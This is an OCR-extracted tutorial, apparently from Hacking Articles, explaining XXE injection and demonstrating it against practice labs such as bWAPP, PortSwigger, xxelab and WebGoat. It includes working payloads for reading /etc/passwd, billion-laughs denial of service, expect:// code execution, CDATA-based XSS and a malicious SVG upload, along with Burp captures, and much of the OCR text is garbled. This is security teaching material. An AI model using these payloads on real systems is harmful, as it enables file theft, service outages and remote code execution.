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Introduction

In the world of application security, one of the lesser-known yet highly critical vulnerabilities is the
XXE Injection attack (XML External Entity Injection). This attack exploits the way XML parsers process
external entities, allowing attackers to read sensitive files, perform server-side request forgery
(SSRF), or even execute remote code under certain conditions. Whether you're a penetration tester
or a developer, understanding the risks associated with XXE Injection attacks is essential for securing
XML-based applications.

XML is a markup language that is commonly used in web development. It is used for storing and
transporting data. So, today in this article, we will learn how an attacker can use this vulnerability to
gain information and try to defame web-application.

Introduction to XML
What are XML and Entity?

XML stands for “Extensible Markup Language”, It is the most common language for storing and
transporting data. It is a self-descriptive language. It does not contain any predefined tags like <p>,
<img>, etc. All the tags are user-defined depending upon the data it is representing for example.
<email></email>, <message></message> etc.

<?xml
version = "version_number"

encoding = "encoding_declaration”
standalone = "standalone_status"
?>

e Version: It is used to specify what version of XML standard is being used.
o Values: 1.0
e Encoding: It is declared to specify the encoding to be used. The default encoding that is used
in XML is UTF-8.
0 Values: UTF-8, UTF-16, ISO-10646-UCS-2, ISO-10646-UCS-4, Shift_JIS, 1ISO-2022-JP,
ISO-8859-1 to ISO-8859-9, EUC-JP
¢ Standalone: It informs the parser if the document has any link to an external source or there
is any reference to an external document. The default value is no.
o \Values: yes, no
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What is an Entity?

Like there are variables in programming languages we have XML Entity. They are the way of
representing data that are present inside an XML document. There are various built-in entities in
XML language like &It; and &gt; which are used for less than and greater than in XML language. All of
these metacharacters generally represent entities that appear in data. XML external entities are the
entities that are located outside DTD.

An external entity declaration uses the SYSTEM keyword and must specify a URL from which to load
the value of the entity. For example

<IENTITY ignite SYSTEM "URL">

In this syntax Ignite is the name of the entity,
SYSTEM is the keyword used,
URL is the URL that we want to get by performing an XXE attack.

What is the Document Type Definition (DTD)?

It is used for declaration of the structure of XML document, types of data value that it can contain,
etc. DTD can be present inside the XML file or can be defined separately. It is declared at the
beginning of XML using <!DOCTYPE>.

There are several types of DTDs and the one we are interested in is external DTDs.

SYSTEM: The system identifier enables us to specify the external file location that contains the DTD
declaration.

<!DOCTYPE ignite SYSTEM "URL" [...] >

PUBLIC: Public identifiers create a mechanism to locate DTD resources and write them as below -

As you can see, the keyword PUBLIC begins the entry, followed by a specialized identifier. Entries in a
catalog use public identifiers for identification.

<!DOCTYPE raj PUBLIC "URL"

Introduction to XXE Injection

An attacker performs an XXE attack against an application to parse its XML input. In this attack, a
weakly configured XML parser processes XML input containing a reference to an external entity. Like
in Cross-Site Scripting (XSS) we try to inject scripts similarly in this we try to insert XML entities to
gain crucial information.

The declaration of the structure of the XML document, types of data value that it can contain, etc.,
uses it. You can present DTD inside the XML file or define it separately. It is declared at the beginning
of XML using <IDOCTYPE>.

There are several types of DTDs and the one we are interested in is external DTDs. There are two
types of external DTDs.

SYSTEM: System identifier enables us to specify the external file location that contains the DTD
declaration

HONES
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In this XML external entity, a payload is sent to the server, which then sends that data to an XML
parser that parses the XML request and provides the desired output to the server. Then server
returns that output to the attacker.

Impacts

XML External Entity (XXE) can possess a severe threat to a company or a web developer. XXE has
always been in Top 10 list of OWASP. Many websites commonly use XML for the string and
transportation of data, and if they do not take countermeasures, attackers will compromise this
information. Various attacks that are possible are:

e Server-Side Request Forgery
e DoS Attack
e Remote Code Execution
o Cross-Site Scripting
The CVSS score of XXE is 7.5 and its severity is Medium with —
e CWE-611: Improper Restriction of XML External Entity.
e CVE-2019-12153: Local File SSRF
e CVE-2019-12154: Remote File SSRF
e CVE-2018-1000838: Billion Laugh Attack

¢ CVE-2019-0340: XXE via File Upload

Performing XXE Attack to perform SSRF

Server-Side Request Forgery (SSRF) is a web vulnerability where the hacker injects server-side HTML
codes to get control over the site or to redirect the output to the attacker's server. File types for SSRF
attacks are —

Local File

These are the files that are present on the website domain like robots.txt, server-info, etc. So, let’s
use “bWAPP” to perform an XXE attack at a level set to low.
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/ XML External Entity Attacks (XXE) /

Reset your secretto|  Any bugs? -b——

Now we will fire up our BurpSuite and intercept after pressing Any Bugs? button and we will get the
following output on burp:

l Forward Jl Drop J| Intercept is on | l Action J [ Open BrowserJ

J Raw T Params T Headers I Hex ]

Raw \n Actions »

1

POST /bWAPP/xxe-2.php HTTP/1.1
Host: 192.168.1.15
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */%
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Content-type: text/xml; charset=UTF-8
2 Content-Length: 59
S Origin: http://182.168.1.15
10 Connection: close
11 Referer: http://192.168.1.15/bWAPP/xxe-1.php
12 Cookie: security level=0; PHPSESSID=S13ffcfsbdlocOclb3esce7d42ee35112
1=
14 <reset=

<login=

bee
</login=
<secret>
Any bugs?

=/secret=

</reset>

O U s WK

We can see that there is no filter applied so XXE is possible so we will send it to the repeater and
there we will perform our attack. We will try to know which field is vulnerable or injectable because
we can see there are two O fields i.e., login and secret.

So, we will test it as follows:
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Send Cancel < |7 > |

Request

j Raw T Params I Headers I Hex ]

1

M

oI W

]

0 o

10
11
1z

14

i Accept-Encoding: gzip, deflate

Raw \n Actions

POST fbHAPPfxxe-E.php HITR/1.1
Host: 192.168.1.15

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefg
Accept: #/%

Accept-Language: en-US,en;g=0.5

Content-type: text/xml; charset=UTF-8

Content-Length: 59

Origin: http://192.168.1.15

Connection: close

Referer: http://192.168.1.15/bWAPP/xxe-1.php

Cookie: security level=0; PHPSESSID=53ZabfeBdesf 755276229705t 711863

<reset>
=login=
bee
=/login=
<secret=
Any bugs?
=fsecret>
=/reset>

L

In the repeater tab, we will send the default request and observe the output in the response tab.
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=
Response u -

J Raw T Headers I Hex ]

Raw Render \n Actions w

1

HTTR/1.1 200 0K
Date: Wed, 18 Mov 2020 03:09:57 GMT

Server: Apaches/2.2.8 (Ubuntu) DAV/Z2 mod fastcgli/2.4.6 PHP/S.2.4-2ubuntus wi
¥X-Powered-By: PHP/S.2.4-2ubuntus

Expires: Thu, 19 Mov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check
Pragma: no-cache

Content-Length: 28

Connection: close

10 Content-Type: text/html

11
17 bee's secret has been reset!

) T ) R S N 8

w0

It says “bee’s secret has been reset” so it seems that login is injectable but let's verify this by
changing it from bee and then sending the request.
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Send Cancel < | > |

Request

J Raw T Params I Headers I Hex ]

Raw \n Actions v

1 POST /bWAPP/xxe-2.php HTTR/1.1 d
2 Host: 192.188.1.15
3 User-Agent: Mozilla/5.0 (X11; Linux xB86 64; rv:78.0) Gecko/20100101 Firefo
Accept: */*

Accept-Language: en-US,en;qg=0.5

& Accept-Encoding: gzip, deflate

7 Content-type: text/xml; charset=UTF-8

2 Content-Length: 59

2 Origin: http://192.168.1.15

10 Connection: close

11 Referer: http://192.168.1.15/bWAPP/xxe-1.php

12 Cookie: security level=0; PHPSESSID=632abfegdesSf 7554762297051 711863

14 <=reset=
=login=
1gni te| -—
=/login=
<secret=
Any bugs?
=/secret=
=/reset>

Now again we will be observing its output in response tab:
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= 1
Response u

j Raw T Headers I Hex ]

Raw Render \n Actions

HTITR/1.1 200 0K i
Date: Wed, 18 Mov 2020 03:11:02 GMT

i Server: Apaches/2.2.8 (Ubuntu) DAV/2 mod fastcgi/2.4.6 PHP/S.Z2.4-2ubuntus wi
¥-Powered-By: PHP/S5.2.4-2ubuntus

Expires: Thu, 19 MNov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check
Pragma: no-cache

i Content-Length: 31

Connection: close

0 Content-Type: text/html

11

1Z|ignite's secret has been reset!

1

P

= O 0N

=

We got the output “ignite’s secret has been reset” so it makes it clear that login is injectable. Now
we will perform our attack.

Now as we know which field is injectable, let’s try to get the robots.txt file. And for this, we’ll be
using the following payload —

<?xml version="1.0" encoding="utf-8"?>

<IDOCTYPE reset [

<IENTITY ignite SYSTEM "http://192.168.1.15/bWAPP/robots.txt">
1>

<reset><login>&ignite;</login><secret>Any bugs?</secret></reset>

Understanding the payload

We have declared a doctype with the name “reset” and then inside that declared an entity named
“ignite”. We are using SYSTEM identifier and then entering the URL to robots.txt. Then in login, we
are entering “&ignite;” to get the desired information.

HONE



https://www.hackingarticles.in/
https://www.linkedin.com/company/hackingarticles/
https://x.com/hackinarticles
https://github.com/Ignitetechnologies
https://discord.gg/vU2uUjrsPC

H Comprehensive Guide on XXE Injection

Send Cancel < |r > |
[Com ] s (<ir]

Request

J Raw T Params ]' Headers I Hex ]

Raw \n Actions w

1

POST /bwaPP/xxe-2.php HTTP/1.1

Host: 192.168.1.15

User-Agent: Mozilla/5.0 (X11; Linux xB86 64; rv:78.0) Gecko/20100101 Firefo
Accept: #*/*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-type: text/xml; charset=UTF-8

Content-Length: &2

origin: http://192.168.1.15

10 Connection: close

11 Referer: http://192.168.1.15/bWAPP/xxe- 1.php

12 Cookie: security level=0; PHPSESSID=632abfeBdesSf755a762e9705cf 711863

(¥

m s W

=]

o

14 <7xml version="1.0" encoding="utf-g"?=<t—
15 <!DOCTYPE reset [
15 <!ENTITY i1gnite SYSTEM "http://192.168.1.15/bwaAPP,/robots. txt"=
17 1=
18 <reset>
<login=
&lgnite;
=/login=
<secret>
Any bugs?
=/secret>
=/reset>

o

After inserting the above code, we will click on send and will get output like below in the response
tab:

‘[1E=:I ‘:.:,'Iiiiil II::II e
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a- -
Response

j Raw T Headers I Hex ]

Raw Render \n Actions

HITR/1.1 200 0K

Date: Tue, 17 Mov 2020 10:10:29 GMT

Server: Apacheys2.2.8 (Ubuntu] DAV/2 mod fastcgi/2.4.6 PHP/S.2.4-2ubuntus w
¥-Powered-By: PHP/S.2.4- 2ubuntus

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-chec
Pragma: no-cache

Content-Length: 182

Connection: close

1

(%)

(N

=~

10 Content-Type: text/html
11

12 User-agent: GoodBot

12 Disallow:

14

15 User-agent: BadBot
16 Disallow: /

12 User-agent: *

19 Disallow: fadming/

20 Drsallow: /documents/

21 Disallow: fimages/

22 Disallow: fpasswords/'s secret has been reset!

We can see in the above output that we got all the details that are present in the robots.txt. This tells
us that SSRF of the local file is possible using XXE.

XML External Entity
Query Asking for
robots.txt

XML
Parser

A

Gets information
containing
robots. txt

Hacker Server

So now, let's try to understand how it all worked. Firstly, we will inject the payload, and the server
will receive it. As there are no filters present to avoid XXE, the server sends the request to an XML
parser and then sends the output of the parsed XML file. In this case, the attacker disclosed
robots.txt using an XML query.

Remote File

These are the files that attacker injects a remotely hosted malicious scripts in order to gain admin
access or crucial information. We will try to get /etc/passwd for that we will enter the following
command.
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<?xml version="1.0" encoding="utf-8"?>

<IDOCTYPE reset [

<IENTITY ignite SYSTEM "file:///etc/passwd">
]><reset><login>&ignite;</login><secret>Any bugs?</secret></reset>

Send Cancel < | >
|_Send | L<IvJ

Request

J Raw T Params I Headers I Hex }

Raw \n Actions v

1 POST /bwWaAPP/xxe-2.php HTTR/1.1
2 Host: 192.168.1.15

Accept: */%

Accept-Language: en-US,en;q=0.5

& Accept-Encoding: gzip, deflate

7 Content-type: text/xml; charset=UTF-8

2 Content-Length: 193

S Origin: http://192.168.1.15

10 Connection: close

11 Referer: http://192.168.1.15/bWAPP/xxe-1.php

14 =?xml version="1.0" encoding="utf-8"?= -
15 <!DOCTYPE reset [
16  =!ENTITY ignite SYSTEM "file:///etc/passwd"=
17 1=
18 zreset>
<login=
&ignite;‘f
=/login=
<secret=
Any bugs?
</secret>
=/ reset>

2 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefg

12 Cookie: security level=0; PHPSESSID=63Zabfe8deSf755a762e9705cT711863

After entering the above command as soon as we hit the send button, we’ll be reflected with the

passwd file!!
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= =
Response u

| J Raw T Headers I Hex ]

1

o

oo W

Raw Render \n Actions w

HTTR/1.1 200 0K
Date: Tue, 17 MNov 2020 10:13:49 GMT

]

2 Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/S.2.4- 2ubuntus wi

X-Powered-By: PHP/S.2.4-2ubuntus

Expires: Thu, 19 Mov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-checl
Pragma: no-cache

Content-Length: 2242

Connection: close

Content-Type: text/html

NI o

= o= e

& sync:x:4:65534:sync: /bin: /bin/sync
7 games:x:5:60:games: /usr/games: /bin/sh
' man:x:6:12:man:/var/cache/man: /bin/sh
S lprx:7:7:lp:/var/spool/Lpd: /binysh

S uucp:x:10:10:uucp: fvar/spool/uucp: /bin/sh
3 proxy:x:13:13:proxy: /bin: /bingsh

5 list:x:38:38:Ma1ling List Manager:/var/list:/bins/sh

2 gnats:x:41:41:6nats Bug-Reporting System (admin):/var/Llib/gnats:/bin/sh

root:x:0:0:root:/root: /binsbash
daemon:x:1:1:daemon: fusr/sbin: fbinssh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/binssh

mall:x:8:8:ma1l:/var/mail: /bin/sh
news:x:9:9:news: /var/spool/news: /bin/sh

www-data:x:33:33 0 www-data: /varwww: fbinssh
backup:x:34:34:backup: fvar/backups: /bins/sh

1rc:x:39:39:1rcd: fvar/run/ircd: /binssh

nobody:x:65534:65534: nobody: /nonexistent: /bing/sh
libuuid:x:100:101:: /var/Lib/Libuuid: /binssh

dhcp:x:101:102:: fnonexistent: /bin/false
syslog:x:102:103: : fhome/syslog: /bin/false

klog:x:103:104:: shome/klog: /bin/false

hplip:x:104:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahil-autolpd:x:105:113: Avahl autoilp daemon,,,:/var/Lib/avahi-autoipd: /bin
gdm:x:106:114:Gnome Display Manager:/var/Lib/gdm: /bin/false
pulse:x:107:116:Pulsefudic daemon,,,:/var/run/pulse: /bin/false

:messauebus:x:l@S:llQ::fvarfrunfdbus:fbinffals?

-

XXE Billion Laugh Attack-DOS

These are aimed at XML parsers in which both, well-formed and valid, XML data crashes the system
resources when being parsed. This attack is also known as XML bomb or XML DoS or exponential
entity expansion attack.

Before performing the attack, lets know why it is known as Billion Laugh Attack?
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“For the first time when this attack was done, the attacker used lol as the entity data and the called it
multiple times in several following entities. It took exponential amount of time to execute, and its
result was a successful DoS attack bringing the website down. Due to usage of lol and calling it
multiple times that resulted in billions of requests we got the name Billion Laugh Attack”

¥xml version="1.8" encoding="utf-8"

2

<reset><loginx&ignited; </login><secret:Any bugs?</secret:</reset>

Before using the payload, let's understand it:

In this, we see that at 1 we have declared the entity named “ignite” and then calling ignite in several
other entities thus forming a chain of callbacks which will overload the server. At 2, we called entity
&ignite9; We chose ignite9 instead of ignite because ignite9 calls ignite8 several times, and each time
ignite8 is called, it initiates ignite7, and so on. Thus, the request will take an exponential amount of
time to execute and as a result, the website will be down.

Above command results in DoS attack and the output that we got is:
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Send Cancel < |v > |
| send | L<Iv]

Request

j Raw T Params I Headers I Hex ]

1

P

[ ]

Bt I ) B ) R Y

[Ts]

15
18

18
12

I I SR N I L N T N N
B I o ) B iy T N i o

Raw \n Actions

POST /bWAPP/xxe-2.php HTTP/1.1 i
Host: 192.16E8.1.15
User-Agent: Mozilla/S5.0 (X11; Linux x86 &64; rv:78.0) Gecko/20100101 Firefo
Accept: /%

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-type: text/xml; charset=UTF-8

Content-Length: 193

Origin: http://182.168.1.15

Connection: close

Referer: http://192.168.1.15/bWAPP/xxe-1.php

Cookie: security level=0; PHPSESSID=632abfes8desf755a762:5705cf711863

<?xml version="1.0" encoding="utf-8"7> g —
k! DOCTYPE reset [
<IENTITY 1gnite "DoS"=
<!ENTITY 1gnitel "&ignite;&ignite;&lgnite;&ignite;&ignite;&ignite;&ignit
=!ENTITY 1gnite2 "&ignitel;&ignitel;&ignitel;&ignitel;&ignitel;&ignitel;
<IENTITY 1gnite3 "&ignite2;&ignite2;fignite2;&ignitez;bignitez;kignlite2;
=!ENTITY 1gnited "&ignite3;&ignite3;&ignite3;&lgnites;&ignite3;signitesd;
=IENTITY 1gnite5 "&ignited;&ignited;&aignited;signited; dignited;tignited;
=IENTITY 1gnitef "&igniteS;&igniteS;&igniteS;&lgnites;&ignites;signltes;
<!ENTITY 1gnite7 "&ignitef;&ignitef;&ignites;&lgnites; &gnites; &ignltes;
<IENTITY 1gnited "&lgnite7;&ignite7;&ignite?;&ignite?;&ignite?;&ignite?;
<!ENTITY 1gnite® "&ignited;&ignited;&ignites;&lgnites;&ignitesd;tignltes;
1=

wresets>

=login=
&igniteg;‘/
=/login=
<secret=
Any bugs?
</secret>
</reset>

Now, after entering the XML command, we will not see any output in the response field and also bee
box is not accessible, and it will be down.
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‘|'|._ : v _| N

The server at 192.168.1.15 is taking too long to respond.

* The site could be temporarily unavailable or too busy. Try againina
few moments.

» If you are unable to load any pages, check your computer's network
connection.

* |f your computer or netw
sure that Fire

Try Again

Timed Out

XXE Using File Upload

XXE can be performed using the file upload method. We will be demonstrating this using Port
Swigger lab “Exploiting XXE via Image Upload”. The payload that we will be using is:

<?XML version="1.0" standalone="yes"?>

<IDOCTYPE reset [

<IENTITY xxe SYSTEM "file:///etc/hostname"> ] >

<svg width="500px" height="500px" xmIns="http://www.w3.0rg/2000/svg"
xmlins:xlink="http://www.w3.0rg/1999/xlink" version="1.1">

<text font-size="40" x="0" y="100">&xxe;</text>

</svg>

Understanding the payload:We will create an SVG file as only the upload area accepts image files.
The basic syntax of the SVG file is provided above, and we have added a text field in that.

We will be saving the above code as “payload.svg”. Now on portswigger, we will go on a post and
comment and then we will add the made payload in the avatar field.
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Leave a comment

ignite technologies

Name
ignite
Avatar

Browse... payload.svy -af—

ignite@1.com

Website:

https:/fignite.xyz

Now we will be posting the comment by pressing Post Comment button. After this, we will visit the
post on which we posted our comment, and we will see our comment in the comments section.
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Comments

Bud Vizer | 27 October 2020

| tried to read this blog going through the car wash. | could barely read for all the soap in my eyes!

Carl Bondioxide | 11 November 2020

Well this is all well and good but do you know a website for chocolate cake recipes?

Jock Sonyou | 14 November 2020

I've read all of your blogs as I've been sick in bed. I've run out of blogs but I'm still ill. Can you hurry
up and write more.

Ben Eleven | 16 November 2020

My wife said she's leave me if | commented on another blog. I'll let you know if she keeps her
promise!

ignite | 18 November 2020

ignite technologies

Let’s check its page source in order to find the comment that we posted. You will find somewhat
similar to what | got below

<section class="comment"=>

':FI:!-
<img src="/post/comment/avatars?filename=1.png" class="avatar"=
=/ p=
=p=ignite technologies</p= \
<p=</p=
</section>

We will be clicking on the above link and we will get the flag in a new window as follows:

36aadfee2827

This can be verified by submitting the flag and we will get the success message.

Web Security Exploiting XXE via image file upload

ACadem\gq Back to lab description
-
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Cancel

WEb Security Exploiting XXE via image file upload
Academwﬂ Back to lab descriptio

Congratulations, you solved the lab!

Understanding the whole concept: So, when we uploaded the payload in the avatar field and filled
all other fields too, the system showed our comment in the post. Upon examining the source file, we
found the path where we uploaded our file. We are interested in that field as our XXE payload was
inside that SVG file and it will be containing the information that we wanted, in this case, we
wanted”/etc/domain”. After clicking on that link, we were able to see the information.

XXE to Remote code Execution

Remote code execution is a very server web application vulnerability. In this an attacker is able to
inject its malicious code on the server in order to gain crucial information. To demonstrate this attack
| have used XXE LAB. We will follow below steps to download this lab and to run this on our Linux
machine:

git clone https://github.com/jbarone/xxelab.git
cd xxelab
vagrant up

In our terminal we will get somewhat similar output as following:

:~/Desktop/xxeTest$ git clone https://github.com/jbarone/xxelab.git
Cloning into 'xxelab'...
remote: Enumerating objects: &4, done.
remote: Counting objects: 100% /4), done.

remote: Compressing objects: 100% (3/3), done.
remote: Total 24 (delta @), reused 2 (delta @), pack-reused 20
Unpacking objects: 100% (24/24), 51.44 KiB | 239.00 KiB/s, done.
9 top/xxeTest$ cd xxelab/
'Desktop/xxeTest/xxelab$ vagrant up

Now once it's ready to be use we will open the browser and type: http://192.168.33.10/ and we will
see the site looks like this:
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% WIDGETS

Incorporated
Stay in touch, and keep up with the latest.

Create an Account

Phone Mumber

Email

¥ | agree to the and

" Create Account
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We will be entering our details and intercepting the request using Burp Suite. In Burp Suite we will
see the request as below:
_[ Intercept T HTTP history I webSockets history I Options ]

/ Request to http:ff192.168.33.10:80

[ Forward J [ Drop J | Intercept is on | [ Action J [ Open Browser J

_[ Raw T Params T Headers I Hex }

Raw \n Actions w

POST /process.php HTTR/1.1

‘' Host: 192.1588.33.10

User-Agent: MozillaysS.0 (X11; Linux x86 64; rv:78.0] Gecko/20100101 Firefox/78.0
Accept: */*

Accept-Language: en-US,en;gq=0.5

i Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
: Content-Length: 149

S Origin: http://192.168.33.10

10 Connection: close

11 Referer: http://192.168.33.10/

1

wl O LN I

2 =?xml version="1.0" encoding="UTF-8"7=
=root=
<name=>
ignite
=/ name:=
<tel=>
123456789
=/tel=
<emal L=
123@gma1l.com
</emall=>
<passwords
qwertyl234
</password=
</root=

We will send this request to repeater, and we will see which field is vulnerable. So, firstly we will send
the request as it is and observe the response tab:

HONE


https://www.hackingarticles.in/
https://www.linkedin.com/company/hackingarticles/
https://x.com/hackinarticles
https://github.com/Ignitetechnologies
https://discord.gg/vU2uUjrsPC

Comprehensive Guide on XXE Injection

Cancel <|v

Send

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
Raw \n Actions v Raw Render \n Actions v

1 POST /process.php HTTP/1.1

2 Host: 192.168.33.10

3 User-Agent: Mozilla/5.0 (X11; Linux x85_64;
4 Accept: */*

5 Accept-Language: en-US,en;q=0.5

& Accept-Encoding: gzip, deflate

7 Content-Type: text/plain;charset=UTF-g

g Content-Length: 158

origin: http://192.168.33.10

w0

10 Connection: close
11 Referer: http://192.168.33.10/
12
12 <?xml version="1.0" encoding="UTF-8"7=>
14
15 <root>
<name=
ignite
=</name=>
<tel=
123455783
</tel=>
<emalls>
16 123@Egmail.com
17 </emall>
<password>
quertlyl234
</password=
</root>

HTTE/1.1 200 OK

2 Date: Thu, 19 Nov 2020 08:06:01 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9- lubuntu4.29
Content-Length: 45

Connection: close

Content-Type: text/html

o Q
10 [123@gmail.com
11 Is already registered!

e
[N

rv:78.0) Gecko/20100101 Firefo

SN s W

(]

We can notice that we see only email so we will further check with one more entry to verify that this
field is the vulnerable one among all the fields.

Cancel <|v > |

Send

—

POST /process.php HTTP/1.1
Host: 192.168.33.10

Accept: #/#
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 148
Origin: http://192.168.33.10
10 Connection: clese
11 Referer: http://192.168.33.10/
12
12 =7xml version="1.0" encoding="UTF-8"7=
14
15 =<root=
<name=
ignite
</name=>
<tel=
123456789
</tel=>
<emall=
123 -@—
</email>
<passwords
gqwertlylz3d
</passwords=
=/root=

- s W

©

16
17

HONE

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefo

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
Raw \n Actions v Raw Render \n  Actions v

: 1 HTTR/1.1 200 OK
2 Date: Thu, 19 Nov 2020 08:05:29 GMT
2 Server: Apache/2.4.7 (Ubuntu)
4 X-Powered-By: PHP/S.5.9-lubuntu4.29
S Content-Length: 35
G Connection: close

Content-Type: text/html

S Sorry,

10[iE]
11 15 already registered!
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From the above screenshot it's clear that the email field is vulnerable. Now we will enter our
payload:

<IDOCTYPE root [
<IENTITY ignite SYSTEM "expect://id"> ]>

Let's understand the payload before implementing it:

We have created a doctype with the name “root” and under that, we created an entity named
“ignite” which is asking for “expect://id”. If expect is being accepted in a php page then remote code
execution is possible. We are fetching the id so we used “id” in this case.

And we can see that we got the uid,gid and group number successfully. This proves that our remote
code execution was successful in this case.

Send Cancel < | > | Target: http:j/
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
Raw \n Actions w Raw Render \n Actions v
1 POST /process.php HTTP/1.1 A 1 HITR/1.1 200 OK
Z Host: 182.168.33.10 2 Date: Thu, 19 Nov 2020 08:07:24 GMT
3 User-Agent: Mozilla/S5.0 (X11; Linux xB86 64; rv:78.0) Gecko/20100101 Firefeo 3 Server: Apache/2.4.7 (Ubuntu)
4 Accept: */* 4 X-Powered-By: PHP/5.5.9-lubuntud.29
S Accept-Language: en-US,en;q=0.5 S Vary: Accept-Encoding
5 Accept-Enceding: gzip, deflate & Content-Length: 86
7 Content-Type: text/plain;charset=UTF-8 7 Connection: close
2 Content-Length: 211 2 Content-Type: text/html
S Origin: http://192.168.33.10 9
10 Connectien: close 10 Sorr
11 Referer: http://192.168.33.10/ 11 Juid=23(www-data) g1d=33(www-data) groups=33(www-data)
12 12
13 <7xml version="1.0" encoding="UTF-8"7=> 13 is already reglstered!

14 <!DOCTYPE root [
15 <!ENTITY ignite SYSTEM "expect://id"'= ]> -dl—
<roots>
<name>
ignite
=/name>
<tels>
123456789
</tel>
<ema1l=
17 &1gnite jlt—
18 </email=
<password=>
gwertlyl234
=/password=
</root>

=

XSS via XXE

These days, we can observe that online apps restrict scripts, thus there is a means to go around this.
To execute this attack, we can utilize XML's CDATA. CDATA will be included in our mitigation phase as
well. We performed XSS using the XXE LAB mentioned above. We will just inject our payload into the
email field because we know it is vulnerable and we have the same intercepted request as in the last
attack. The payload that we will employ is as follows:

<I[CDATA[<]]>img src="" onerror=javascript:alert(1)<![CDATA[>]]>

Understanding the payload: As we know that in most of the input fields, they block < and >, so we
included it inside the CDATA. CDATA is character data, and the XML parser does not parse the data
inside CDATA; it appears as it is pasted in the output.

Let's see this attack:
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We will enter the above command in between the email field and we will observe the output in the
response tab.

Send Cancel < |v > | Target: http://192.168.33.10 /
Request Response u =
J Raw T Params ]’ Headers T Hex ] J Raw T Headers ]’ Hex ]

Raw \n Actions w Raw Render \n Actions w

POST /process.php HTTR/1.1 HTTP/1.1 200 OK

Host: 122.168.33.10 _ B\ 2 Date: Sat, 21 Nov 2020 09:44:20 GMT

} User-Agent: Mozilla/S.0 (X11; Linux x86 64; rv:72.0] 3 server: Apaches2.4.7 (Ubuntu)
Accept: */* 4 X-Powered-By: PHP/S.5.9- lubuntud. 29

ﬁccept-Language: enTUS,en;q=O.5 S Vary: Accept-Encoding

i Accept-Encoding: gzip, deflate & Content-Length: 70

7 Content-Type: text/plain;charset=UTF-8 7 Connection: close

 Content-Length: 136 2 Content-Type: text/html

) Origin: http:11192.168.33.10 q

10 Cohnecticn: close 10

11 Referer: http://192.168.33.10/

[ 3
—

1

| 3 L o=

Sorry, =img src="" onerror=javascript:alert(l)=
1s already registered!

2 <?xml version="1.0" encoding="UTF-8"7=
<root=
<name=
ignite
</name=
<tel>
123456789
=/tel>
<emall=
<! [COATA[<]]=1mg src="" onerror=javascript:al
semail=
<password=
qwerty
</passwords= B/
=/root= v

Then, we can see that we have got the image tag embedded in the field with our script. We will right-
click on it and select the option “Show response in browser”

w response in browser

To show this response in your browser, copy the URL below and paste into a browser that is
configured to use Burp as its proxy,

http:fburpsuite/show/1jodc64977gy67qi2f732hwdeSzpxyosts Copy
[} In future, just copy the URL and don't show this dialog Close

We will copy the above link and paste it in the browser and we will be shown an alert box saying “1”
as we can observe in the below screenshot.
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So, the screenshot makes us clear that we were able to do Cross-Site Scripting using XML.

JSON and Content Manipulation

Developers use JSON, which stands for JavaScript Object Notation, for storing and transporting data
like XML. They can obtain similar output by extracting useful information when they convert JSON to
XML. To make XML acceptable, we can also alter the content. For this, WebGoat will be utilized. In
WebGoat we will be performing an XXE attack.
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In modern REST frameworks the server might be able to accepts data

(AT) Crosa-Site Scripting (X88) > formats that you as a developer did not think about. So this might result in

(A8) Insecure Deserialization H JSON endpoints being vulnerable 1o XXE attacks.

(A8) Vulnerable Components > Again same exercise but try to perform the same XML injection as we did
(A8:2013) Request Forgeries » in first assignment.

Client side i ( )

Challenges > John Doe uploaded a photo.

24 days ago

" gy -'"l
—&d

|

| REQUEST TOUR
ASSISTANCE +
= e

) webgoat

f Request to http:/j127.0.0.1:8081

{ Forward J l Drop J [ Interce... ] l Action J { Open ... J Comment this item W’(

"_[ Raw T Params T Headers T Hex ]

Raw \n Actions

1 POST fwebGnatfxxefcuntent—type HITR/1.1
Z Host: 127.0.0.1:8081
3 User-Agent: Mozillays5.0 (¥11; Linux x85 64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */%*
Accept-Language: en-US,en;qg=0.5
Accept-Encoding: gzip, deflate

[ I

=l

Content-Type: application/json |
5 X-Requested-With: XMLHttpRequest
o Content-Length: 16
10 Origin: http://127.0.0.1:8081
11 Connection: close
12 Referer: http://127.0.0.1:8081/WebGoat/start.mvc
13 Cookie: JSESSIOMID=xhXa85R-Km20uZeXwG8vmlfpSx83WfOBCIQmueys; security level=0
14
15 1

"text":"hello"
1

We can see that the intercepted request looks like above. We will change its content-type and
replace JSON with XML code. XML code that we will be using is:
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<?xml?>

<IDOCTYPE root [

<IENTITY ignite SYSTEM "file:///">
1>

<comment>

<text>

&ignite;

</text>

</comment>

l Forward J [ Drop J [ Intercept ... ] [ Action J [ Open Bro... J Comment this item

j Raw T Params T Headers T Hex ]

Raw \n Actions w

POST fWebGnatfxxefcontent-type HTTE/1.1

' Host: 127.0.0.1:8081

User-Agent: Mozilla/S5.0 (X11; Linux x85 64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */%

Accept-Language: en-US,en;gq=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/xmietl—

¥-Requested-With: XMLHttpRequest

